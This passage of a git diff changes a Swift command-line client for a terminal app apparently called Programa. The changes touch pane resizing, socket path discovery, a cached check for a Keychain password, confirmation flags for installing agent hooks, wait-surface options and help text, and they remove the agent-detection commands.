target.paneId, + directions: [direction], + cells: cells, + pane: pane, + client: client + ) + } catch { + // tmux moves the opposite border when the pane has none on that side (the + // leftmost pane with -L shrinks): grow the neighbor across that border instead. + guard let neighbor = try tmuxOppositeNeighborPaneId( + of: target.paneId, direction: direction, workspaceId: target.workspaceId, client: client + ) else { throw error } + try tmuxResizePane( + workspaceId: target.workspaceId, + paneId: neighbor, + directions: [direction], + cells: cells, + pane: pane, + client: client + ) + } + } + // A size that cannot be honored is a failure, not a silent no-op. + if !unhonored.isEmpty { + throw CLIError(message: unhonored.joined(separator: "\n")) } case "wait-for": diff --git a/CLI/CLICommandDispatcher.swift b/CLI/CLICommandDispatcher.swift index 8e8cde5c8..c0ceb4bac 100644 --- a/CLI/CLICommandDispatcher.swift +++ b/CLI/CLICommandDispatcher.swift @@ -71,7 +71,7 @@ struct CLICommandDispatcher { continue } if arg == "-v" || arg == "--version" { - print(cli.versionSummary()) + cli.printVersion(jsonOutput: jsonOutput) return } if arg == "-h" || arg == "--help" { @@ -132,7 +132,7 @@ struct CLICommandDispatcher { switch command { case "version": - print(cli.versionSummary()) + cli.printVersion(jsonOutput: jsonOutput) return case "help": print(cli.usage()) diff --git a/CLI/HookInstallationCoordinator.swift b/CLI/HookInstallationCoordinator.swift index 7aeda29ea..134555a0e 100644 --- a/CLI/HookInstallationCoordinator.swift +++ b/CLI/HookInstallationCoordinator.swift @@ -25,10 +25,10 @@ struct HookInstallationCoordinator { case (.codex, _): return nil case (.claude, _): - print("Usage: programa claude ") + print("Usage: programa claude [--yes]") throw CLIError(message: "Unknown claude subcommand: \(subcommand)") case (.opencode, _): - print("Usage: programa opencode ") + print("Usage: programa opencode [--yes]") throw CLIError(message: "Unknown opencode subcommand: \(subcommand)") } } @@ -80,9 +80,7 @@ extension ProgramaCLI { let renderedConfig = String(data: preparedConfig.rendered, encoding: .utf8) ?? "" let configChanged = (preparedConfig.snapshot?.data ?? Data()) != preparedConfig.rendered - let skillPath = Self.agentSkillFilePath( - skillsRoot: NSString(string: "~/.agents/skills").expandingTildeInPath - ) + let skillPath = Self.agentSkillFilePath(skillsRoot: Self.integrationExpandTilde("~/.agents/skills")) let skillInstall = install ? agentSkillInstallState(path: skillPath) : nil let skillUninstall = install ? nil : agentSkillUninstallState(path: skillPath) let skillChanged = skillInstall?.changed == true || skillUninstall != nil @@ -113,16 +111,7 @@ extension ProgramaCLI { printAgentSkillRemovalDiff(path: skillPath, content: skillUninstall) } - let skipConfirm = ProcessInfo.processInfo.arguments.contains("--yes") - || ProcessInfo.processInfo.arguments.contains("-y") - if !skipConfirm { - print("Apply these changes? [Y/n] ", terminator: "") - guard let response = readLine()?.trimmingCharacters(in: .whitespacesAndNewlines).lowercased(), - response.isEmpty || response == "y" || response == "yes" else { - print("Aborted.") - return - } - } + try confirmIntegrationChanges() let freshHooks = try codexReadRegularFile(paths.hooks, limit: Self.codexMaximumFileBytes, refuseSymlink: true) guard freshHooks == hooksSnapshot else { diff --git a/CLI/SocketPathResolution.swift b/CLI/SocketPathResolution.swift index 45c109d58..99bae6ee3 100644 --- a/CLI/SocketPathResolution.swift +++ b/CLI/SocketPathResolution.swift @@ -7,12 +7,7 @@ import Darwin /// This file is compiled into BOTH the `programa-cli` and `programa-mcp` /// Xcode targets (see `GhosttyTabs.xcodeproj/project.pbxproj`'s Sources build /// phases for each target) rather than being duplicated, so the two clients' -/// socket-discovery logic cannot drift apart -- see -/// `docs/plans/mcp-server.md` §1.4 and §6 risk register ("CLI and MCP -/// sidecar socket-path-resolution logic drifting apart"). -/// -/// Extracted verbatim from `CLI/programa.swift` (Phase 2 of the MCP server -/// plan); behavior is unchanged from the original inline definition. +/// socket-discovery logic cannot drift apart. enum CLISocketPathSource { case explicitFlag @@ -91,6 +86,18 @@ enum CLISocketPathResolver { return path } + // Never auto-select another live instance (a tagged dev build, staging, the last + // socket some build wrote): a command meant for the user's app would silently land + // in that one. Name them so the caller can opt in explicitly. + let others = dedupe([fallbackSocketPath, stagingSocketPath] + discoverTaggedSockets(limit: 12) + [readLastSocketPath()].compactMap { $0 }) + .filter { !candidates.contains($0) && canConnect(to: $0) } + if !others.isEmpty { + FileHandle.standardError.write(Data(( + "No Programa socket at \(requestedPath). Other Programa sockets are running: " + + others.joined(separator: ", ") + + ". To use one, set PROGRAMA_SOCKET_PATH and PROGRAMA_SOCKET (or pass --socket).\n" + ).utf8)) + } return requestedPath } @@ -104,18 +111,12 @@ enum CLISocketPathResolver { } // The App Support socket lives in an owner-only directory; /tmp is world-writable, so the - // legacy /tmp path is tried after it. + // legacy /tmp path is tried after it. Only the stable defaults are implicit candidates. if requestedPath != legacyDefaultSocketPath { candidates.append(requestedPath) } candidates.append(defaultSocketPath) candidates.append(legacyDefaultSocketPath) - candidates.append(fallbackSocketPath) - candidates.append(stagingSocketPath) - candidates.append(contentsOf: discoverTaggedSockets(limit: 12)) - if let last = readLastSocketPath() { - candidates.append(last) - } return candidates } diff --git a/CLI/programa.swift b/CLI/programa.swift index 23d15549a..e98d77b21 100644 --- a/CLI/programa.swift +++ b/CLI/programa.swift @@ -142,7 +142,27 @@ enum SocketPasswordResolver { return normalizedScope } + /// The app keeps its password in the file above; the Keychain only holds a legacy copy. + /// A scan that found nothing is remembered by a marker that stays valid until the login + /// keychain changes, so calls without a password skip the Keychain query. + private static func keychainEmptyMarkerPath(socketPath: String) -> String? { + guard let appSupport = FileManager.default.urls(for: .applicationSupportDirectory, in: .userDomainMask).first else { return nil } + let scope = keychainScope(socketPath: socketPath) ?? "default" + return appSupport.appendingPathComponent(directoryName, isDirectory: true).appendingPathComponent(".socket-keychain-empty-\(scope)").path + } + + private static func modificationTime(_ path: String) -> Int? { + var info = stat() + return lstat(path, &info) == 0 ? Int(info.st_mtimespec.tv_sec) : nil + } + private static func loadFromKeychain(socketPath: String) -> String? { + let marker = keychainEmptyMarkerPath(socketPath: socketPath) + let keychainModified = modificationTime(NSHomeDirectory() + "/Library/Keychains/login.keychain-db") + if let marker, let keychainModified, let markerModified = modificationTime(marker), markerModified > keychainModified { + return nil + } + var everyServiceMissing = true for service in keychainServices(socketPath: socketPath) { let authContext = LAContext() authContext.interactionNotAllowed = true @@ -157,10 +177,9 @@ enum SocketPasswordResolver { ] var result: CFTypeRef? let status = SecItemCopyMatching(query as CFDictionary, &result) - if status == errSecItemNotFound || status == errSecInteractionNotAllowed || status == errSecAuthFailed { - continue - } guard status == errSecSuccess else { + // A locked or denied item is not proof of absence; only remember clean misses. + everyServiceMissing = everyServiceMissing && status == errSecItemNotFound continue } guard let data = result as? Data, @@ -169,14 +188,16 @@ enum SocketPasswordResolver { } return password } + if everyServiceMissing, keychainModified != nil, let marker { + FileManager.default.createFile(atPath: marker, contents: nil, attributes: [.posixPermissions: 0o600]) + } return nil } } // CLISocketPathSource / CLISocketPathResolver live in // `CLI/SocketPathResolution.swift`, shared with the MCP sidecar -// (`CLI-MCP/MCPSocketBridge.swift`) -- see that file's header comment and -// docs/plans/mcp-server.md §1.4/§6. +// (`CLI-MCP/MCPSocketBridge.swift`). struct CLIProcessResult { let status: Int32 @@ -405,8 +426,6 @@ struct CLIArgumentGrammar { var minPositionals: Int = 0 /// `nil` means unbounded. var maxPositionals: Int? = 0 - /// Whether `--name=value` syntax is accepted in addition to `--name value`. - var allowEquals: Bool = false } /// Single source of truth for a CLI command's name(s), its one-line entry in @@ -481,53 +500,6 @@ struct CommandDescriptor { struct ProgramaCLI { let args: [String] - private static let debugLastSocketHintPath = "/tmp/programa-last-socket-path" - - static func normalizedEnvValue(_ value: String?) -> String? { - guard let trimmed = value?.trimmingCharacters(in: .whitespacesAndNewlines), - !trimmed.isEmpty else { - return nil - } - return trimmed - } - - private static func pathIsSocket(_ path: String) -> Bool { - var st = stat() - guard lstat(path, &st) == 0 else { return false } - return (st.st_mode & S_IFMT) == S_IFSOCK - } - - private static func debugSocketPathFromHintFile() -> String? { -#if DEBUG - guard let raw = try? String(contentsOfFile: debugLastSocketHintPath, encoding: .utf8) else { - return nil - } - guard let hinted = normalizedEnvValue(raw), - hinted.hasPrefix("/tmp/programa-debug"), - hinted.hasSuffix(".sock"), - pathIsSocket(hinted) else { - return nil - } - return hinted -#else - return nil -#endif - } - - private static func defaultSocketPath(environment: [String: String]) -> String { - if let explicit = normalizedEnvValue(environment["PROGRAMA_SOCKET_PATH"]) { - return explicit - } -#if DEBUG - if let hinted = debugSocketPathFromHintFile() { - return hinted - } - return "/tmp/programa-debug.sock" -#else - return "/tmp/programa.sock" -#endif - } - func run() throws { try CLICommandDispatcher(cli: self).run() } @@ -596,12 +568,15 @@ struct ProgramaCLI { CommandDescriptor(names: ["omc"], helpLines: ["omc [omc-args...]"], connectionPolicy: .local, helpPolicy: .passthrough, execute: nil), CommandDescriptor( names: ["codex"], - helpLines: ["codex "], + helpLines: ["codex [--yes]"], connectionPolicy: .local, detailedUsage: """ - Usage: programa codex + Usage: programa codex [--yes] programa codex (legacy aliases, still supported) + Shows the changes and asks before applying them. --yes (-y) applies + without asking; without it a non-interactive stdin exits 1 unchanged. + Install or remove Programa's Codex notification hooks in ~/.codex/hooks.json (or $CODEX_HOME/hooks.json), and the `programa` agent skill (SKILL.md) into ~/.agents/skills/programa/. @@ -610,10 +585,10 @@ struct ProgramaCLI { ), CommandDescriptor( names: ["claude"], - helpLines: ["claude "], + helpLines: ["claude [--yes]"], connectionPolicy: .local, detailedUsage: """ - Usage: programa claude + Usage: programa claude [--yes] Install or remove Programa's persistent Claude Code hooks in ~/.claude/settings.json (or $CLAUDE_CONFIG_DIR/settings.json), @@ -621,15 +596,17 @@ struct ProgramaCLI { ~/.claude/skills/programa/. Unlike the runtime wrapper, this makes the integration work from any terminal, not just programa's. + --yes (-y) applies without asking; without it a non-interactive + stdin exits 1 unchanged. """, execute: nil ), CommandDescriptor( names: ["opencode"], - helpLines: ["opencode "], + helpLines: ["opencode [--yes]"], connectionPolicy: .local, detailedUsage: """ - Usage: programa opencode + Usage: programa opencode [--yes] Install or remove Programa's OpenCode plugin in ~/.config/opencode/plugins/programa.js (or $OPENCODE_CONFIG_DIR/plugins/programa.js), @@ -637,6 +614,8 @@ struct ProgramaCLI { ~/.config/opencode/skills/programa/ (or $OPENCODE_CONFIG_DIR/skills/programa/). OpenCode auto-loads local plugin files, so no opencode.json edit or npm install is needed. + --yes (-y) applies without asking; without it a non-interactive + stdin exits 1 unchanged. """, execute: nil ), @@ -668,8 +647,8 @@ struct ProgramaCLI { Check connectivity to the programa socket server. """, execute: { ctx in - _ = try ctx.client.sendV2(method: V2MethodNames.systemPing) - print("PONG") + let payload = try ctx.client.sendV2(method: V2MethodNames.systemPing) + self.printV2Payload(payload, jsonOutput: ctx.jsonOutput, idFormat: ctx.idFormat, fallbackText: "PONG") } ), @@ -836,7 +815,7 @@ struct ProgramaCLI { grammar: CLIArgumentGrammar(), execute: { ctx in let response = try ctx.client.sendV2(method: V2MethodNames.windowCreate) - print("OK \((response["window_id"] as? String) ?? "")") + self.printV2Payload(response, jsonOutput: ctx.jsonOutput, idFormat: ctx.idFormat, fallbackText: self.v2OKSummary(response, idFormat: ctx.idFormat, kinds: ["window"])) } ), @@ -1315,7 +1294,7 @@ struct ProgramaCLI { } let response = try ctx.client.sendV2(method: V2MethodNames.workspaceCreate, params: params) let wsId = (response["workspace_ref"] as? String) ?? (response["workspace_id"] as? String) ?? "" - print("OK \(wsId)") + self.printV2Payload(response, jsonOutput: ctx.jsonOutput, idFormat: ctx.idFormat, fallbackText: self.v2OKSummary(response, idFormat: ctx.idFormat, kinds: ["workspace"])) if let commandText = commandOpt, !wsId.isEmpty { let text = self.unescapeSendText(commandText + "\\n") let sendParams: [String: Any] = ["text": text, "workspace_id": wsId] @@ -2165,7 +2144,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["wait-surface"], - helpLines: ["wait-surface [--workspace ] [--surface ] (--pattern | --exit) [--timeout ] [--lines ]"], + helpLines: ["wait-surface [--workspace ] [--surface ] (--pattern | --exit | --agent-state ) [--timeout ] [--lines ]"], argumentContract: .waitSurface, detailedUsage: """ Usage: programa wait-surface [flags] @@ -2179,16 +2158,21 @@ struct ProgramaCLI { --surface Target surface (default: $PROGRAMA_SURFACE_ID) --pattern Wait until output (screen + scrollback) matches this regex --exit Wait until the surface's child process exits + --agent-state Wait until the agent's reported state is idle, working, + blocked, or any_change (lifecycle-hook agents) --timeout Give up after this long (default: 30) --lines Cap how much scrollback --pattern rereads per check (default: 2000) - Exactly one of --pattern / --exit is required. A marker already present when the - call arrives (or a process that has already exited) resolves immediately -- + Exactly one of --pattern / --exit / --agent-state is required. A marker already + present when the call arrives (or a process that has already exited, or an agent + already in the state; a surface with no reported state counts as idle) resolves + immediately -- `waited: false` in JSON output distinguishes that from an actual wait. Example: programa wait-surface --pattern 'BUILD (SUCCEEDED|FAILED)' --timeout 120 programa wait-surface --surface surface:2 --exit --timeout 10 + programa wait-surface --surface surface:2 --agent-state idle --timeout 300 """, execute: { ctx in let (wsArg, rem0) = self.parseOption(ctx.commandArgs, name: "--workspace") @@ -2196,13 +2180,14 @@ struct ProgramaCLI { let (patternArg, rem2) = self.parseOption(rem1, name: "--pattern") let (timeoutArg, rem3) = self.parseOption(rem2, name: "--timeout") let (linesArg, rem4) = self.parseOption(rem3, name: "--lines") - let exitFlag = rem4.contains("--exit") - let trailing = rem4.filter { $0 != "--exit" } + let (agentStateArg, rem5) = self.parseOption(rem4, name: "--agent-state") + let exitFlag = rem5.contains("--exit") + let trailing = rem5.filter { $0 != "--exit" } if !trailing.isEmpty { throw CLIError(message: "wait-surface: unexpected arguments: \(trailing.joined(separator: " "))") } - guard (patternArg != nil) != exitFlag else { - throw CLIError(message: "wait-surface requires exactly one of --pattern or --exit") + guard [patternArg != nil, exitFlag, agentStateArg != nil].filter({ $0 }).count == 1 else { + throw CLIError(message: "wait-surface requires exactly one of --pattern , --exit, or --agent-state ") } let workspaceArg = wsArg ?? (ctx.windowId == nil ? ProcessInfo.processInfo.environment["PROGRAMA_WORKSPACE_ID"] : nil) @@ -2218,6 +2203,8 @@ struct ProgramaCLI { if let patternArg { params["pattern"] = patternArg + } else if let agentStateArg { + params["agent_state"] = agentStateArg } else { params["exit"] = true } @@ -2251,6 +2238,8 @@ struct ProgramaCLI { print(match) } else if exitFlag { print("exited") + } else if agentStateArg != nil { + print((payload["state"] as? String) ?? "ok") } else { print("ok") } @@ -2733,14 +2722,14 @@ struct ProgramaCLI { ) }() - _ = try ctx.client.sendV2(method: V2MethodNames.notificationCreateForTarget, params: [ + let payload = try ctx.client.sendV2(method: V2MethodNames.notificationCreateForTarget, params: [ "workspace_id": targetWorkspace, "surface_id": targetSurface, "title": title, "subtitle": subtitle, "body": body, ]) - print("OK") + self.printV2Payload(payload, jsonOutput: ctx.jsonOutput, idFormat: ctx.idFormat, fallbackText: "OK") } ), @@ -2814,7 +2803,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["set-status"], - helpLines: [], + helpLines: ["set-status [--icon ] [--color <#hex>] [--url ] [--priority ] [--format ] [--workspace ]"], detailedUsage: """ Usage: programa set-status [flags] @@ -2825,6 +2814,10 @@ struct ProgramaCLI { Flags: --icon Icon name (e.g. "sparkle", "hammer") --color <#hex> Pill color (e.g. "#ff9500") + --url Link attached to the pill (alias: --link) + --priority Sort order, higher first (-9999 to 9999) + --format How the value is rendered (default: plain) + --pid Process behind this key (its listening ports are tracked) --workspace Target workspace (default: $PROGRAMA_WORKSPACE_ID) Example: @@ -2834,7 +2827,7 @@ struct ProgramaCLI { execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs, stopAtDashDash: false) guard parsed.positional.count >= 2 else { - throw CLIError(message: "ERROR: Missing status key or value — usage: set_status [--icon=X] [--color=#hex] [--url=X] [--priority=N] [--format=plain|markdown] [--tab=X]") + throw CLIError(message: "ERROR: Missing status key or value — usage: programa set-status [--icon ] [--color <#hex>] [--url ] [--priority ] [--format plain|markdown] [--pid ] [--workspace ]") } var params: [String: Any] = [ "key": parsed.positional[0], @@ -2866,7 +2859,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["clear-status"], - helpLines: [], + helpLines: ["clear-status [--workspace ]"], detailedUsage: """ Usage: programa clear-status [flags] @@ -2878,11 +2871,11 @@ struct ProgramaCLI { Example: programa clear-status build """, - grammar: CLIArgumentGrammar(valueOptions: ["workspace"], minPositionals: 1, maxPositionals: 1, allowEquals: true), + grammar: CLIArgumentGrammar(valueOptions: ["workspace"], minPositionals: 1, maxPositionals: 1), execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) guard let key = parsed.positional.first, parsed.positional.count == 1 else { - throw CLIError(message: "ERROR: Missing metadata key — usage: clear_status [--tab=X]") + throw CLIError(message: "ERROR: Missing metadata key — usage: programa clear-status [--workspace ]") } let workspaceId = try self.resolveSidebarWorkspaceId(options: parsed.options, windowOverride: ctx.windowId, client: ctx.client) _ = try ctx.client.sendV2(method: V2MethodNames.workspaceClearStatus, params: ["workspace_id": workspaceId, "key": key]) @@ -2892,7 +2885,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["list-status"], - helpLines: [], + helpLines: ["list-status [--workspace ]"], detailedUsage: """ Usage: programa list-status [flags] @@ -2905,7 +2898,7 @@ struct ProgramaCLI { programa list-status programa list-status --workspace workspace:2 """, - grammar: CLIArgumentGrammar(valueOptions: ["workspace"], allowEquals: true), + grammar: CLIArgumentGrammar(valueOptions: ["workspace"]), execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) let workspaceId = try self.resolveSidebarWorkspaceId(options: parsed.options, windowOverride: ctx.windowId, client: ctx.client) @@ -2921,7 +2914,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["set-progress"], - helpLines: [], + helpLines: ["set-progress <0.0-1.0> [--label ] [--workspace ]"], argumentContract: .setProgress, detailedUsage: """ Usage: programa set-progress <0.0-1.0> [flags] @@ -2939,7 +2932,7 @@ struct ProgramaCLI { execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) guard let first = parsed.positional.first else { - throw CLIError(message: "ERROR: Missing progress value — usage: set_progress <0.0-1.0> [--label=X] [--tab=X]") + throw CLIError(message: "ERROR: Missing progress value — usage: programa set-progress <0.0-1.0> [--label ] [--workspace ]") } guard let value = Double(first), value.isFinite else { throw CLIError(message: "ERROR: Invalid progress value '\(first)' — must be 0.0 to 1.0") @@ -2954,7 +2947,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["clear-progress"], - helpLines: [], + helpLines: ["clear-progress [--workspace ]"], detailedUsage: """ Usage: programa clear-progress [flags] @@ -2966,7 +2959,7 @@ struct ProgramaCLI { Example: programa clear-progress """, - grammar: CLIArgumentGrammar(valueOptions: ["workspace"], allowEquals: true), + grammar: CLIArgumentGrammar(valueOptions: ["workspace"]), execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) let workspaceId = try self.resolveSidebarWorkspaceId(options: parsed.options, windowOverride: ctx.windowId, client: ctx.client) @@ -2977,7 +2970,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["log"], - helpLines: [], + helpLines: ["log [--level ] [--source ] [--workspace ] [--] "], detailedUsage: """ Usage: programa log [flags] [--] @@ -2996,7 +2989,7 @@ struct ProgramaCLI { execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) guard !parsed.positional.isEmpty else { - throw CLIError(message: "ERROR: Missing message — usage: log [--level=X] [--source=X] [--tab=X] -- ") + throw CLIError(message: "ERROR: Missing message — usage: programa log [--level ] [--source ] [--workspace ] [--] ") } let levelStr = parsed.options["level"] ?? "info" guard ["info", "progress", "success", "warning", "error"].contains(levelStr) else { @@ -3015,7 +3008,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["clear-log"], - helpLines: [], + helpLines: ["clear-log [--workspace ]"], detailedUsage: """ Usage: programa clear-log [flags] @@ -3027,7 +3020,7 @@ struct ProgramaCLI { Example: programa clear-log """, - grammar: CLIArgumentGrammar(valueOptions: ["workspace"], allowEquals: true), + grammar: CLIArgumentGrammar(valueOptions: ["workspace"]), execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) let workspaceId = try self.resolveSidebarWorkspaceId(options: parsed.options, windowOverride: ctx.windowId, client: ctx.client) @@ -3038,7 +3031,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["list-log"], - helpLines: [], + helpLines: ["list-log [--limit ] [--workspace ]"], argumentContract: .listLog, detailedUsage: """ Usage: programa list-log [flags] @@ -3058,7 +3051,7 @@ struct ProgramaCLI { var params: [String: Any] = [:] if let limitStr = parsed.options["limit"] { guard !limitStr.isEmpty else { - throw CLIError(message: "ERROR: Missing limit value — usage: list_log [--limit=N] [--tab=X]") + throw CLIError(message: "ERROR: Missing limit value — usage: programa list-log [--limit ] [--workspace ]") } guard let limit = Int(limitStr), limit >= 0 else { throw CLIError(message: "ERROR: Invalid limit '\(limitStr)' — must be >= 0") @@ -3078,7 +3071,7 @@ struct ProgramaCLI { CommandDescriptor( names: ["sidebar-state"], - helpLines: [], + helpLines: ["sidebar-state [--workspace ]"], detailedUsage: """ Usage: programa sidebar-state [flags] @@ -3092,7 +3085,7 @@ struct ProgramaCLI { programa sidebar-state programa sidebar-state --workspace workspace:2 """, - grammar: CLIArgumentGrammar(valueOptions: ["workspace"], allowEquals: true), + grammar: CLIArgumentGrammar(valueOptions: ["workspace"]), execute: { ctx in let parsed = self.parseFlagArgs(ctx.commandArgs) let workspaceId = try self.resolveSidebarWorkspaceId(options: parsed.options, windowOverride: ctx.windowId, client: ctx.client) @@ -3777,7 +3770,7 @@ struct ProgramaCLI { } } - private func resolveCommandSurface( + func resolveCommandSurface( explicitSurface: String?, explicitWorkspace: String?, windowId: String?, @@ -4533,378 +4526,6 @@ struct ProgramaCLI { return root } - // MARK: - Agent detection commands (docs/agent-detection-manifests.md) - - private func runAgentDetectionCommand( - commandArgs: [String], - client: SocketClient, - jsonOutput: Bool, - idFormat: CLIIDFormat, - windowId: String? - ) throws { - var positional = commandArgs - guard let subcommandRaw = positional.first else { - throw CLIError(message: "agent-detection requires a subcommand: list, scaffold, test") - } - positional.removeFirst() - - switch subcommandRaw.lowercased() { - case "list": - try runAgentDetectionList(args: positional, client: client, jsonOutput: jsonOutput, idFormat: idFormat) - case "scaffold": - try runAgentDetectionScaffold(args: positional, client: client, jsonOutput: jsonOutput, windowId: windowId) - case "test": - try runAgentDetectionTest(args: positional, client: client, jsonOutput: jsonOutput, idFormat: idFormat, windowId: windowId) - default: - throw CLIError(message: "agent-detection: unknown subcommand '\(subcommandRaw)' (expected list, scaffold, test)") - } - } - - private func runAgentDetectionList( - args: [String], - client: SocketClient, - jsonOutput: Bool, - idFormat: CLIIDFormat - ) throws { - if let unknown = args.first(where: { $0.hasPrefix("--") && $0 != "--json" }) { - throw CLIError(message: "agent-detection list: unknown flag '\(unknown)'") - } - - let payload = try client.sendV2(method: V2MethodNames.agentDetectionList) - if jsonOutput { - print(jsonString(payload)) - return - } - - let manifests = payload["manifests"] as? [[String: Any]] ?? [] - guard !manifests.isEmpty else { - print("No agent-detection manifests loaded") - return - } - for entry in manifests { - let agent = entry["agent"] as? String ?? "?" - let displayName = entry["display_name"] as? String ?? agent - let source = entry["source"] as? String ?? "?" - let processNames = (entry["process_names"] as? [String] ?? []).joined(separator: ", ") - let shadowsBundled = (entry["shadows_bundled"] as? Bool) ?? false - var line = "\(agent) (\(displayName), source=\(source), process_names=[\(processNames)])" - if shadowsBundled { - line += " [shadows bundled manifest]" - } - print(line) - } - } - - /// Mirrors `AgentManifestLoader.bundledAgentIds` - /// (Sources/AgentManifestLoader.swift:21-29) -- this CLI target can't import that type, so - /// this is a manually-kept-in-sync copy, used only to gate `agent-detection scaffold`'s - /// bundled-shadowing guard below. - private static let agentDetectionBundledIds: Set = [ - "claude-code", "codex", "gemini-cli", "opencode", "copilot-cli", "cursor-agent", "aider" - ] - - private func runAgentDetectionScaffold( - args: [String], - client: SocketClient, - jsonOutput: Bool, - windowId: String? - ) throws { - let (wsArg, rem0) = parseOption(args, name: "--workspace") - let (sfArg, rem1) = parseOption(rem0, name: "--surface") - let force = hasFlag(rem1, name: "--force") - var positional = rem1.filter { $0 != "--force" } - - guard let agentId = positional.first, !agentId.hasPrefix("--") else { - throw CLIError(message: "agent-detection scaffold requires ") - } - positional.removeFirst() - if let unknown = positional.first(where: { $0.hasPrefix("--") }) { - throw CLIError(message: "agent-detection scaffold: unknown flag '\(unknown)'") - } - guard isValidAgentDetectionId(agentId) else { - throw CLIError(message: "agent-detection scaffold: must be lowercase letters, digits, and hyphens only") - } - - let destinationDirectory = ("~/.config/programa/agent-detection" as NSString).expandingTildeInPath - let destinationPath = (destinationDirectory as NSString).appendingPathComponent("\(agentId).json") - - // A user override at `destinationPath` fully replaces the bundled manifest for this - // agent id (no field merge -- AgentManifestLoader.swift's header), and a freshly - // scaffolded manifest starts with empty `patterns` (safe -- see - // `agentDetectionScaffoldJSON`'s doc comment -- but inert). Scaffolding one of the seven - // bundled ids without --force would therefore silently replace working screen-based - // detection with a manifest that detects nothing at all. Refuse by default; --force - // seeds the new file from the bundled manifest's own patterns instead of starting blank, - // so forcing degrades to "edit a copy of what already worked." - var seedStates: [[String: Any]]? - if Self.agentDetectionBundledIds.contains(agentId) { - guard force else { - throw CLIError(message: """ - agent-detection scaffold: '\(agentId)' is one of programa's bundled agents. A user override at \(destinationPath) fully replaces its bundled manifest (no merge) -- and a freshly scaffolded manifest starts with empty patterns, so screen-based detection for '\(agentId)' would silently stop working until you fill them back in. Pass --force to proceed anyway; the bundled manifest's existing patterns will be seeded into the new file so you start from a working copy, not a blank one. - """) - } - let listPayload = try client.sendV2(method: V2MethodNames.agentDetectionList) - let manifests = listPayload["manifests"] as? [[String: Any]] ?? [] - if let match = manifests.first(where: { ($0["agent"] as? String) == agentId }) { - seedStates = match["states"] as? [[String: Any]] - } - } - - let workspaceArg = wsArg ?? (windowId == nil ? ProcessInfo.processInfo.environment["PROGRAMA_WORKSPACE_ID"] : nil) - - var readParams: [String: Any] = [:] - let wsId = try normalizeWorkspaceHandle(workspaceArg, client: client) - if let wsId { readParams["workspace_id"] = wsId } - let sfId = try resolveCommandSurface( - explicitSurface: sfArg, explicitWorkspace: wsArg, - windowId: windowId, workspaceHandle: wsId, client: client - ) - if let sfId { readParams["surface_id"] = sfId } - - // Capture the currently visible screen only (no --scrollback/--lines), same socket - // method 'read-screen' calls, via the same client -- see CommandDescriptor(names: - // ["read-screen"]) above. - let readPayload = try client.sendV2(method: V2MethodNames.surfaceReadText, params: readParams) - let capturedText = (readPayload["text"] as? String) ?? "" - - if !force, FileManager.default.fileExists(atPath: destinationPath) { - throw CLIError(message: "agent-detection scaffold: \(destinationPath) already exists (use --force to overwrite)") - } - - do { - try FileManager.default.createDirectory(atPath: destinationDirectory, withIntermediateDirectories: true) - } catch { - throw CLIError(message: "agent-detection scaffold: failed to create \(destinationDirectory): \(error.localizedDescription)") - } - - let manifestJSON = agentDetectionScaffoldJSON(agentId: agentId, capturedText: capturedText, seedStates: seedStates) - do { - try manifestJSON.write(toFile: destinationPath, atomically: true, encoding: .utf8) - } catch { - throw CLIError(message: "agent-detection scaffold: failed to write \(destinationPath): \(error.localizedDescription)") - } - - if jsonOutput { - print(jsonString(["path": destinationPath, "agent": agentId, "seeded_from_bundled": seedStates != nil])) - } else { - print("Wrote starter manifest: \(destinationPath)") - if seedStates != nil { - print("Seeded from the bundled '\(agentId)' manifest's existing patterns -- review them, they were verified against the bundled agent's UI, not necessarily yours.") - } - print("Next: review/fill in its \"patterns\" arrays, then run 'programa agent-detection test \(agentId)' to check them against the live screen.") - } - } - - private func runAgentDetectionTest( - args: [String], - client: SocketClient, - jsonOutput: Bool, - idFormat: CLIIDFormat, - windowId: String? - ) throws { - let (wsArg, rem0) = parseOption(args, name: "--workspace") - let (sfArg, rem1) = parseOption(rem0, name: "--surface") - var positional = rem1 - - var agentId: String? - if let first = positional.first, !first.hasPrefix("--") { - agentId = first - positional.removeFirst() - } - if let unknown = positional.first { - throw CLIError(message: "agent-detection test: unexpected arguments: \(unknown)") - } - - let workspaceArg = wsArg ?? (windowId == nil ? ProcessInfo.processInfo.environment["PROGRAMA_WORKSPACE_ID"] : nil) - - var params: [String: Any] = [:] - let wsId = try normalizeWorkspaceHandle(workspaceArg, client: client) - if let wsId { params["workspace_id"] = wsId } - let sfId = try resolveCommandSurface( - explicitSurface: sfArg, explicitWorkspace: wsArg, - windowId: windowId, workspaceHandle: wsId, client: client - ) - if let sfId { params["surface_id"] = sfId } - if let agentId { params["agent"] = agentId } - - let payload = try client.sendV2(method: V2MethodNames.agentDetectionClassify, params: params) - if jsonOutput { - print(jsonString(formatIDs(payload, mode: idFormat))) - return - } - - guard let recognizedAgent = payload["agent"] as? String else { - if let agentId { - print("No manifest loaded for '\(agentId)'") - } else { - print("No loaded manifest recognized this screen") - } - return - } - let displayName = payload["display_name"] as? String ?? recognizedAgent - guard let bucket = payload["bucket"] as? String else { - print("\(recognizedAgent) (\(displayName)) recognized, but no state pattern matched the current screen") - return - } - let confidence = payload["confidence"] as? String ?? "?" - let matchedPattern = payload["matched_pattern"] as? String ?? "?" - print("\(recognizedAgent) (\(displayName)): \(bucket) [confidence=\(confidence), pattern=\(matchedPattern)]") - } - - private func isValidAgentDetectionId(_ value: String) -> Bool { - !value.isEmpty && value.allSatisfy { $0.isLowercase || $0.isNumber || $0 == "-" } - } - - private func agentDetectionDisplayName(forAgentId agentId: String) -> String { - agentId - .split(separator: "-") - .map { $0.isEmpty ? "" : $0.prefix(1).uppercased() + $0.dropFirst() } - .joined(separator: " ") - } - - /// Wraps `value` as a single JSON string literal 